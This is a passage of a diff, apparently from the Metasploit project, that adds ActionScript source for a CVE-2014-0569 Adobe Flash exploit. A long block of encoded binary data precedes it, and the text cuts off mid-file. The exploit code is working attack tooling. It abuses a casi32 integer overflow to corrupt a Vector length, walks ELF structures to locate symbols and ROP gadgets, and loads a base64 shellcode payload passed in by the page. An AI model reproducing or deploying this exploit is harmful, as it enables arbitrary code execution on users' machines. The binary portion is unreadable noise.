z-)ea~GX9uv==zAmDwxKc?^82;Z^*kqimpZW*KBAl*P^2ye_{QUY)=EpuLI%Pmym+| z$oNI!+OiER4^_RNmShR)JA_F3x%({D7W_!l!JuuxFlO2FB$YQAlDSGDexPY0)xpUK zt8WZ>8V)(pa7%BfJZ>iUD1FDN6G_ibA8XdzUG1xUNUaw}=lZCHinq*;x8m>IDWIjp z5g+|^8z1cbf8@iG8d z3qy**Jqs-7)+vU*9%SzAx}7!UHCPFDg*^Xe`6_nTWMty|Jl{u79xhGZL$gh z-&5be)sO*3=^%76pGnequUE6s8*@gN>gRf|7`(W2mu5jw;*8>pJfwH%gD>~mq{qTK z)WV*Waz&D7_kF#RTO^Xt)hjAH4rc~g$Fu=~6HO$MK|NIkNYQ$;bZ6lF>J;R>w2ld$ ze!_s8e~lrtZqjK%cJGxfXd;|BWg;}ao9FbagOIBnZmJ+6OF~x7+7jR8vUR)fw(?zY zyAStvfrwNVSTJ`tW$wl=t8@3{rsvcgBZvmE`Uhrc$%@gyP(Je!Qb0^t0Brt7rYP8| z6f~A8f^ROuOaG&X!x!$qUfGZ29e+}URjKX>YZebaR(EOdMd9pHBHP}Wa z>56QY?wV(CWE?e?kA&*yBB6h~G*N9G3PNAnSgd3|H+6czT59K}CjZF)(5-mjEsXyC zp+#Ob#;+3m>8n#l)opkCrRX6ktqYnrj+JTAp?fJ{ zRd9p&KijK;)$D#SIB&aU8c;&$SgBJLXai&uu0A$slamjmoDNrbs#V;Q+A@NH#$V8}HJp2L#R)c>gP8e{>)#cHw@~ymMfO;Lyhm4HSo=DTIY-acf)c zl*ZyM0iylOssaV;;{fxqDo43$*kh>GPX(KX3RvOeHWvq=x!mz|09&XCMy4$3jqJ%}>e@cH% z+5WcYZ7nMFoXWDaR&NhN5>kF!XhR7$Qi`^Py(G8FVheTr+>hV+ z$&>9pw+bDR4-e;;Xq$8NX{#6VOThO>!;{brwmcmCY;6J{^a_<`dgDyGB<^3^|7rW< zRGJaH05NYC8m8bEO!8v)Oi#I_e?@v2Ymj84QZ;hre7=_pDrPEgU75?)f2HpUUd=mL ziPyd6}3wuF6r@VU2(g6&;mP4r@4feFUJ5hm*K0=Z6fAe7}1pQmQ zX;kz+10G0y#6q*s3y_whbKqv>-6jUnBQjEZ^tE$c!Xld7+o{3jR&VrlyEc8A$0$fhNYbod1* zj~|LoXT0ImHEJhBb%s$UKx8F?qH$-18G1`$oU^@-sHuV>bGJr&U^!kuVQ_Y{iz48x zG_<*<*!|eauw{~(F7slt&ut%Q8xNT6s6+Tl!&rh8;BEdqz#j0|t*>@}NHD$YCzYybr42e7zJAl7#Phh4RdQFwO24H&|VM~^` z>eOv1oLY`-y<2b}F4wAgOGC3V(cPDRH;qr}kFm?%)AM!sw;5tnW}Ksg-`MV!5xCS|$cQAQ zj|RFQ3fMO5p@a!86rY`=dXCXeDk`cOGLxf8Q%Q&qRYqL6<4W`3_Y#~M4;ne)4Bdh7~MN6A~_D!7?H!!l1@$D=L1 z_yu+D$#XSF7bGO7()-!==WmuSacH9&2{ktcvfQVE&+716EYMACKw~sFsq&Zo{-x&l z-sM>C&Y1)7TnhL?cH=+a`;=X`i?KXs%T-)6qmQRt%kTqaF&0vjA{O zyJ6%A;9F4sFD41bbMS}~en)+SIXO6X{yq2pMxZ)U#(Kdc2AD+bbA=`+FF_w@ zf0S4tL;D^D9Y!te#5Rbk+VNLshSRv4RNTsVK?doO)&3u6+Dl=bwn&CxjyG6->zOz& zxSo_I-QSzMmLCg3bTG6I?BqG?lR}}zPD2)o4JaO-E&qdJW=7tz^oVJQkX$oKK|$Z; z^)>utA7Ass`Gc`a!SCwpL{86+LRoxnf8|GEgrk{%`1?ExhRN_`c-8xLbZN)68qgEu z!3O&~wMXAQc?H}LjGHe@L&J zL!ZOLplzoPILzwMLKDbht_mMOJe+g2ZhRa4EGDrSkY!3Dgjpe9PTLMe2n@2GG8YXw zAgO`Lv=vbs!K>C{x9!!)W+8j{saZgaU9y?W-&MCZztpfA&P^QDvOB2O4KGV{Agf-6eb^KMnY{ zR&eHZsSKO&+cGmSpi_4Hk-cD#JLcR4H*J3P;@EnSETD|)3;0zzqE4)Z0rE=V;p{%-f6%muVVZy1z+wB%dL*Fl~H$h}`3?6)glJ_G1!Vrb8 zMu_#n+BDm3O&|c?st(HTU*s6c;(@86z9u;aMLz(4Iu(8PLndDH$J^6_+_@Zz+$KQv zD=>l&raV;SU|7k!*C{C6f1YS?iVwjE!wYAWl#17l=bG^;s?@3ngmC0nXM;opei3NZ z`3+}F$R_14OcrLKEI@*nF$C;fVZ>xAyit0Ij-!D@2s`KG=?H@TM!#+oo)@qz+%d88 zTv!$JpK29npYs?G!p@) zb3-2MWXLF0svPK*tJu94K+GsXlj8N$1EVYO-l1USSL=p5#Y5A7$!B5r_vZ?wvbc_w z+ys|E#35CeIlQj2e^pxi%(fi%LwwoE32C;;L+`<~REEW=f(4?c0{fqXc7mB6e5*w< z*imi4-3lDYgzuhFrUUpah$0KSnX8Shbex$X2C1k~e=PT}yw}`UMDsi{um@e$5tzkr zu-#cN#IVY7G0FBHG$01I{*(-%L{4KRSDd=HJm?4n_@n4ff5Fw#BH`C7w2Cha(_ zL|Fo7jZli4fws^}~mSrCOZ0 zo9Q>V-{U+ba|IU7UMb8tCl>cXS4+~!|C$fu>@RPue#xb?m(g5OW5oQ`)59Og$H`GA zQg054sQ8sDe;lY-fPKOR;0I!X8=$qLaovZP&NSl}-Zw0n#eQnfy8Sc>cVL@Sy9#Mj zo)O8;T~y-ftq@f+ZM6dcRAC$tDc!Lqq{ZGchywLKj+TxRS7HI3pe6^N$p%PC=I~!l z7UG4+t##Wz{sN5a^_7A2WeeMg>}5Pl-;>HIB}rP;e=Bz?Rq*|)H!X908v?skq&06# zP@ozK{d0U_*)^vESUz3ZWIkmkCXdOr5=N;pvu+q{cPLs)nGDS_ z2BlU#4>~J6#+1jAbidZSydk(&RwSn%TsB3LR6*V7nJk;h2VB@S^g(K?^hGHKcKnB6pAT> zXn2`dJ8-hcT6{Up3B3E&tvXYHA%D2>9rVF6>tBXxd+RyY85A* zq7tiDX@}P~VC`llF90`Sx%#>qR^|~56pyg%K1S8}$$M~WlZOrAa}*=HZGv>_YM7lf zAohje*(C@a2^qAxv1WQ7vIZ|3=okzokNk6(5?l|mrsY5SQOtbBq%Iuk&~RBBGR$)@ zf0!d{G4LwfkM-c=HB|w<8El26V~!-zx8SNQIb~FxT3N%i*|?Oe6K`1g?MCWg5k-N= zg{enL3hKQ{bh%X+zZ2!P7|8{Q`NzvHy)%16MiP131771FZb}uL)d#kQ>~2Zn6bIeL zjBNvohEe5mT*^eh7&+-O(EGt&$=ATHf7iJy9GFBsTv~^C*U4BI2ZN6Ui7LS&qcC~D z6*Ge@v3ydXe)oVl^^a=oGF~k6vCk%Ck(qv6cinj?o)Ia1lk+G06wfn@l$u}Dm$tP{ zmT=RvcQ1B~U3Ajd8dA(R)YLjolI~uZ2ivnE>l{MMsa8ojWo7El?AzVb^HSH&`yt6lLu z*{c3#Q^MDLm6q2mQ-cuSFB92VCmGu%$g}G~K#94My^{mXE`AoMfJTqIa;@LH_M_L8 zd=Uh;=I3}w85p?)lajs7XII<8e;UUSfJ1E6;aL4ekdr`@NEsyhj{)dOuK_WY#ni6R zZ!Z*!gTaIR3)2kVn;i2vxr;NYZlnU&_R`CDPj%wwf7sDC0xz$=(wf!lf5w&Yku*|S zSloO|?4w*;#!XUBAYDX)prC|Tmjzj(x6iL|Ya(exb$nndxw>L~N^Erx@7VzEE-*1u zjCZ$Ydp2hN2UYADf5G_xV+3FySDJ?i%rbsL72>4>>9mTQm(#*6dxThtAq&y5PSbS0 zM+wh^$#JNx7|Y5JC-g`me*u{YNMF-*#KTpP!jwqY_jMlw=U}H1vB&;1`muFIc*XD; zY9Qg%3Kg~(Uc2f+_1hPZSRvkLd2r?Y%1v6W$)d)n6Ed5xHw1i6wf}FIcq@T&F{<1IAHQ;$zIYm+ zuZWc1+-|ul25~IHeAYkl=5_)Wt0WO@o?F^^KEy_?La&v<#X2XQSK{;bt(zBPPWqW5 z`4_MCBbXXV@sr}Xf4uhwuFQc=*`LyOQeYX`gV*4{iw;E=qmul_?PN_Ki^1g3i;1=! zE_`F=*uyDO^foA2GJ^#rXF$54NTNKRrv+_Oh^o2}GvGgZif{VYT`p!cp2`z8T~`8X zNyO*$gU&22x7{AB!cf)u89+YUFJFTjC}$@)m}PA1H9rL}f9&op1LrDuVCmuz*dkjn zRQ93IAiB$^x9?A_WfZ5nPAsZu5U*i8v)bK0!u(lkVLjFW8xfR_kbMGWa{s0C#b^tGMp$7@5X4^ppE!=#yhIr@ zFN0A|g`+G;dJD+W5rFH^2n6>9*VOSHJTt&UQaiO1e^C{Oyuw7ST6F2At)4;-Rq0#h z>{6Rw_3}_{W>?NZT|J_$v8`d{N(@9z0zypc#o#?Tq+u`IbPyKl=cV2Q;W+1zNNwjz z8ItJ&LA~SR;BWdy%K|)9ZwlYexpA|mU%JILo=hjfr%K=?g(FpOjL_2$FGm(-Ge{Ui zsYT0|e}==|B1}I&rY{8?Mc{rJM!mnuHuALy0@r!Y39ddSxe{Q%Ae9x|;RW#NmU=x$ zD%-qET>qqxKP}|{qLbOZS{W-x`CS;E?>$LA-FumG;D_~Gac~ZHtO^_|k_0M|0XPNv z3g_AAWKo^bmeW)(Qr3yAs639`ey9}`wteo1e=l}7ic8{qr>|gg49Q%IfFqfQ!t7TZ zb5Ln8Fv~L$Uu0gU(Nf&dO+ZezA~_-VWv1G{=qdh6pN7d8&QDF8I}#Os)6KD%0N#QG`!2#bs+MG&J>1^HB;?%buOSr1#V-&{G=$bxOpT-wG?MG8S~v3 zf6x*78TKp+2;#Xq08xr9t6FU_)DMgRL$XnXqHyy0;WIS8niY8^>r&Fd<`K(vA^VRc zFGWv%D^l{Q9Xw0qt!;_9_Fhdt^}pQ4Yz_; z(bLdF7A!AI&x@`7?0F08j0wGAs_9P)iu|=T#!mU>>?b59iHHtXFrJ(Zsy|!+Ji$na zLH~+XC<0cJ$+ZUi5Zo5mY8>u`_3k)^cfJ%7{xpAAow^BEuvX$4f3xC@FXrdEm|4&1gS`5CIhM505ijpHOAjrya>Wa# z;NJyfJQV%m$gEK6i0ZiAoC`E<*^0JsYYGg&LBB?df%634ZlgNtM$G}OB-Mp0IYn;B zE6`B5TR1Kf97g>2D7Lh zOcG@~Z-PJ@Fpo9ZrO9@2*!7%3D=F0GFvf;)Ph|B%91*`Mnv346OTzjkz6%5!Wa?kykBf2wRMS~0#C0X>&TF{AwSA;>JC-$Eu9_}x{Y-o9rP-C^b* z)3v{dYHrBe3Kch?V2DEaEBr_fz^XY*!6OyzljGHyW7@AWnlixH#Or=|Pd3MbwIb-d z=36uqlKH{J_aXP5Z74S4(hiy8*Gmzf#%q+yS-!^Ba=I5v6Z#yWf9p+w(XH}}C+M9j z@xhGuX5jR0zq5m3_0n*so5$wHP=fARl@&etzQa+1`oRhyUwiLxTwD z^BJ0oxq$F*NEA(5&`G6^P^i?uDDSknFg5^0(1UBm2%inP2Fu7D)HZ*Pq>5BGALHCs_y(SIu=5?fhz94M;25pgLzH~<; zjdR9^o?@VBORL1w1+UO$I|0Qth{Fh!`2YS$xUVjLJUd5lk>P<()AZ6qPlymS6yzFK(ZlUgOI%8qtjqvh*M$-Eh#?wYlAKDo!0cGcTHPU1e1S*C{LTbWb$T z7k#nezq&Pg?3p(TsTsLyQ&_i`HyM=$iT+@E=LH3G5m4kDN~)llgX&ol!^ZCSgjHq} zwmz9)K$@=pe=OFW1b9BJiAnvwr(yj+B4pI#PqbNxGX6}Sl^HL@YCI@r{uo#53STY} zCEx7K$z_LvfQgT6|J>rUB6nbAnjw|Jl(@(>~)ydG*4Mty&t{vox!AFxC>ky6n)!XG4xcz6}M+1?3lUYNICE z!IOGw_t3n{y#?ka^RTIywY|(|<7ZwmHoy`5bduG1P>Ty?^u3|NA#1Rg_vwq#`}#_^RM!I>^$uI7DDgH!;5W8Mh z+oMtkME{!PZ$2dIslGs2GysPoFw+hHH2<}qe?2k+(jdv93a!!uhFNJIKjmYTmOj6M z2D@BJ%as;f@7!VP{>c^MuhWh4^h1}0GB5LmuZZft?08RILP~x&45BsZ#1!BpGxgLy zHw1vH(jd711}*0&ndlBLk{#~Md7aQ!(4t7h7Bn}o^yXHcG6&!= zkJbIPtznE=PsH_cb5hnac=h!q2eoOFwb_n9xsSv2Wfr@gQUa-MNPUf@3fnw}aTxSy z_r?@+&K*Wv9ih)OtQ;5xIl_?XX_~Saa-}aE1t1@O`weB|kJ8IuVo1f=0#(D*e-PLj zhgLL?oEQ%)-WO{>{3=lS-+gct9WS6j;(6ld0ceD@zE{$fRQC;tpFEKrevC6bS_&6Z zbT}l{0gH@^y+E@ZFq2+;vNNvKR(AG`=f_=sNUwUxEcu zzHWk=|Dc}VQ+1A*keC4n`?ocT`aLDZO2g~1#jBQz+FirIuzBP@nMBN|gelyx#wTy% z=Fj}(m^Ca|7ss|2NoxdK_Hnd0Vstzt!h%i9h%-{^Y2}F~yC{rme_eY3iY${> z-X3s+=0aI^p&Y7(Sj8!(gTKNCEDTGdqXR*f?-)*zdl<-5d|M}xL< z4~EM(Ryp{w-s0XafyN{-c*j^z!PYzty4xptOgpu3m@+`N%cQA(A zsncrw?Km&TnVP0f3|%R1e@c?2bkO53C8^jhEN0PQJDkEz6rGRqxwBskm=*Oa($iiM zSyAz^m-PZEh}Pd#fjF|3d@8eST6;`}8!lAD+c=2Yw9gu*yg9_fh3s5*QraUY>HqxR za#MrHfgw+B9`|an47eOKPMls}izzljV(_*~D$rvZ$r===sQ=@gf46*8#)EVPD)_JX z-+|~)ak^op$5$m`K;ANuNVDcW-KGvO3^c)J)Ny|x4qA#7!3lE4Gs{+)(wvL5WT*Yh zI)`l}WO$`oEX%7Bd8mR?|0omevFjXqg&|vyf(`=H8$PqqG&pgsG=>;U6LoJu)#qoY zEj&VN;~uhjGr9Msgnk$=B=PL?>}ps);*QAG&=Nq%6Y68q*d*H^3UA znWU*b9hg6m>up)_ak2>#Pe_Iws9DcIjZ8K0S?u%gpaf3PgQr0J9FU6sC_EJ%D5+lp zk&HkrCsOm|Ytaq)i_E5=zp5>gC|L&}#b>2AokhI~JHN(7f6!SPAgFhasP!ORW0H(BcThsPiw$cX7?pXoP;Iki2fxG*!9Zb)hUpQP3pvGyuoN#ZyoG$AO z#)HwnJR|O|Vmuhb4+dfAEN-C1Nr@;KV^0(xtq8D=1Ye$&?<~h*%qX$*g$J^)UOyl zOxpDebp3+y48#~5;v+j#>$xn^jj8OBDmlwL1qCc zry0^9%E%4uZ{7;GwN^ItgKdv?)t4I}k<#=FqpVqUt=BY~?jiO86(PeRKal3tb}e?b z!}C5I7n6AK!u9~96ix+)UYi<0^rM6#Mva@GT34ambFWO9i zgkfh+hpQuUB6{iG8fuRewp)MuI?zzx5^H%VxBc#c4E*!#?VVAqeqoRa4yVE3} zlx#tgKFDY3eQ$GldA;z@$iS4gDL2>l%Oku@(#*~(A&vF!Yf*LV##HYGbxi)|ootrK ze^nqG?`!ag`oa31x-d+3pzn}O2%wBa(?1&YiD19sVd3q9k+z?U{5~6vUw{!m2foru zvrb+0cEH1CAd!zx&kAuoA0E_#)Mx>niM~$svkx(*84`*9`3Wv!DYH~vYlYpqrKMkU zmEfmMjI6>(;jm@;{HPWCdHkioaMO^)Y?SIn$)R2nW2ijLEvt5u2;neaKL9DMvxhQB z$z^gm*LN%^FHh8RRkx~2V*Tp}NMrv5T-3v&3T6P)!=y*=G<)h|*^?{Ls9sHg**C@f z9R2c2DbDVC2@WNGQlu9sJPw8;f9s;7l__s}K{qbD$>4079b=WB_kE|FZ!CW4(k(!R zpijy#kxWzA9Dk$ClDURq&r9=_Dk%Vf82NGib0vRP37r)D7sFN3F5#>CiS&->-D;`Q z{nFwka%?6^=xYPEsQt-rP*tpd4$PDM>SDyxt@XJS+;XB|x3Z@`RHe}iDbN_%Z} zQoDrboz&?b#$0z`MCAjJ)W=h8#o+{*hG3UiCTxOb!h`D(;5r$C*cRUwWgj@?brOkp z0nuO?d8q^M32Iu{t&3l@tWjFTy0)sXFX6yegn4acBk{uB7MCK??;Q` z46Nb~s+3pb8dWg0#|!&hf8y~I; zP^Ya#;5Q6~YZK_IwJchfk!KvpoePJrL>6Lka&y<#$t!K%NXIY#JvviQr}6-%{~yQG zx`4KD0!J(R&Qw(w5O*wEFA+Fd zx>vfwo>m1E|4Xz~PvG6$UYWsK*@=OrBDdI%po!-N`rU)|bbCov9OZ|tXLhU=iMH+=N0*>lwCWuqRzFU~max1YD+G;7Ff3%(F499<^?3)t*vJ^P~ z>0NV&7m)q?le~9bZY2V7CqUM5>1dG(>4g$17!3XQnP>hKEl@2t8>VqdW#Xb)>^MAy z)W_*`mQ{xSI+b*6V1;hGHE?Ty9h;djg!YIr2L%g5-fD2Db)~5?6H8#6a(%l8@1+rk z`jpCBurHPie`ACiE^Y{V8Wk8+3(Zto;|SCBtK-h0&C+qK-$aYDL&r(M^M2Syn2O>P^Jf2`=5eMsdTwU}xLfg)ES%?CfoK*hrE zd2$q$N=T*wTpCaStq3JWig*}y0nY_6`dj}ek`f4S0alvTZ4SI((*8cra+e+EaH)si zpH&fFD>hu9-ngmH-XbL&`U9{V$kq)v&xNC#2#>OawHYhvz%0!x8;DSvQ>7p~8TSq@ z-(ZMaTW{7yM1SU&JKh4{FZ$b+HB>YB9&8Pb$Am=g0maAArB*IaHUAa@S4GP4u^lRE zfD;A0B@ypN;BeXXV1qr{G7#uR`B|{yn{}dlH4w_-z}o4Yq!`D2v<`F6g?0b?ib!t= zgy!$f9K{|&#+QhhBg645;xB}pr;i@#((O1wbdn^tq<_Bq;{u3Q%6zSJ)z&+DSF;Ti z>U7R%wYD}WF!oS0WsS^Ge>+(8Z)1~{qSGu3CFJT)CKzWk94c{HK{9iaC-u3DzDja` z3Kh_o&(7;y!1(!6E7~x>;RFON5PXGKaQqUFEIUFR)(;CxX)N3k4L8OZ95MmJZN;>i zXTKxc9)AIq=JjA7lx%J)D)iJK>4X1TxXrQ0NvdU}iLyg{-G=$Gl}X^EEo9%PjLRrW zNA_jCOz-=b077cn9O#_c8X@zHTF-;o=Y$hgLbI~Yy@ni@jRFMCeKstcJmPfIec+s# zXue1K64^m4Vw3$qI`_y^5W0T%PWby_nKUMGA%Bc5 zf_P|&?eG)dOBg3RDDlP|LwO5Z(kJY`dJsYmTsdyaZ55l zA&*0dAGjl9p+e>t*!5i(FL`w(;MDZ-;Cg@=S(Bdb<6*Yj>A~3C*f&fbrxY~xZ)sUf z)qg$2;1=vW7X-8#? zKq`k9IWec>si^FG8p~w+BgB~f-kPXM4(5%L zF>>^X^3{*mmEiVwxP=K1K-A#}wla*h_YQ@8T?Hz1c~S8-$(uleTw=>9tr=!lg#~YN z$)US=1g0)mXZ~%5!O@9I#oaq4?f*b&Hn)GGCuP!-tIpv>2I!A|z99DCZja`K7=Jkc z_<`ML(fWz!E*Ml|4sSc8cqhrm$s^UqqoqntY5#yHk*ywdnx4{aOtw(i#p$&)k}U#i zU-Q-UCjt-#okV+pyDd1dZe$3T!elzfQ+-LwB$%N>IEg!F8bX}B^=DZ*Y`5|f6h{3x zw02~3QAp&_QGx`Kvi9~*Q~0d>tA7_Bl=0whCII-(u&<`R*ov5xaLn)?mr7l0dc%G& ztp-8dj3<<_*`|bD$l}8Wzw4L?cYw}zul4)3?woy+Dvw9-v4EKJSjj$PiGETVKAb&R zz$A9x)J_7M5fPPD(#=Uv=tt-VF7v9B-QCdHF+mNu!BXr=-dBWr~mHe9kL^U=!*igy$COO!=d$A_@5tsm@rRW|+JyLyZrJVuUEbzUcr#W4zP< H{hVyxoAAw| diff --git a/external/source/exploits/CVE-2014-0569/Elf.as b/external/source/exploits/CVE-2014-0569/Elf.as new file mode 100755 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Exploit.as b/external/source/exploits/CVE-2014-0569/Exploit.as new file mode 100755 index 0000000000..bf836bf0e1 --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/Exploit.as @@ -0,0 +1,114 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Download the Flex SDK (4.6) +// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Exploit.as + +// It uses original code from @hdarwin89 for exploitation using ba's and vectors + +package +{ + import flash.display.Sprite + import flash.utils.ByteArray + import flash.system.ApplicationDomain + import avm2.intrinsics.memory.casi32 + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Exploit extends Sprite + { + private var BYTE_ARRAY_SIZE:Number = 1024 + private var uv:Vector. + private var ba:ByteArray + private var b64:Base64Decoder = new Base64Decoder(); + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + private var defrag:Vector. = new Vector.(100) + private var ov:Vector. = new Vector.(200) + + public function Exploit() + { + var i:uint = 0 + var j:uint = 0 + + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + for (i = 0; i < defrag.length; i++) { + defrag[i] = new ByteArray() + defrag[i].length = BYTE_ARRAY_SIZE + defrag[i].endian = "littleEndian" + } + + ba = new ByteArray() + ov[0] = ba + ov[0].length = BYTE_ARRAY_SIZE + ov[0].endian = "littleEndian" + + for (i = 1; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = 0x41424344 + } + + ApplicationDomain.currentDomain.domainMemory = ba; + // Make ByteArray length 0 so the casi32 integer overflow + // can be exploited + ba.atomicCompareAndSwapLength(1024, 0) + + try { + var uint_vector_pos:uint = search_uint_vector() + } catch (err:Error) { + Logger.log("Vector. not found :(") + return + } + + // Overwrite uint vector length + var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff) + + for (i = 0; i < ov.length; i++) { + if (ov[i].length > 1024) { + uv = ov[i] + Logger.log("Vector. corrupted found :)") + } else { + ov[i] = null + } + } + + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + // Methods to use the integer overflow + private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint { + var mem:uint = 0 + var mem_first_pos:uint = 0 + + for (var i:uint = 0; i < limit; i = i + 4) { + mem = read_byte_array(i) + mem_first_pos = read_byte_array(i + 8) + if (mem == pattern && mem_first_pos == 0x41424344) { + return i + } + } + throw new Error() + } + + private function read_byte_array(offset:uint = 0):uint { + var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef) + return old + } + + private function write_byte_array(offset:uint = 0, value:uint = 0):uint { + var old:uint = read_byte_array(offset) + casi32(offset, old, value) + return old + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/ExploitByteArray.as b/external/source/exploits/CVE-2014-0569/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/ExploitVector.as b/external/source/exploits/CVE-2014-0569/ExploitVector.as new file mode 100755 index 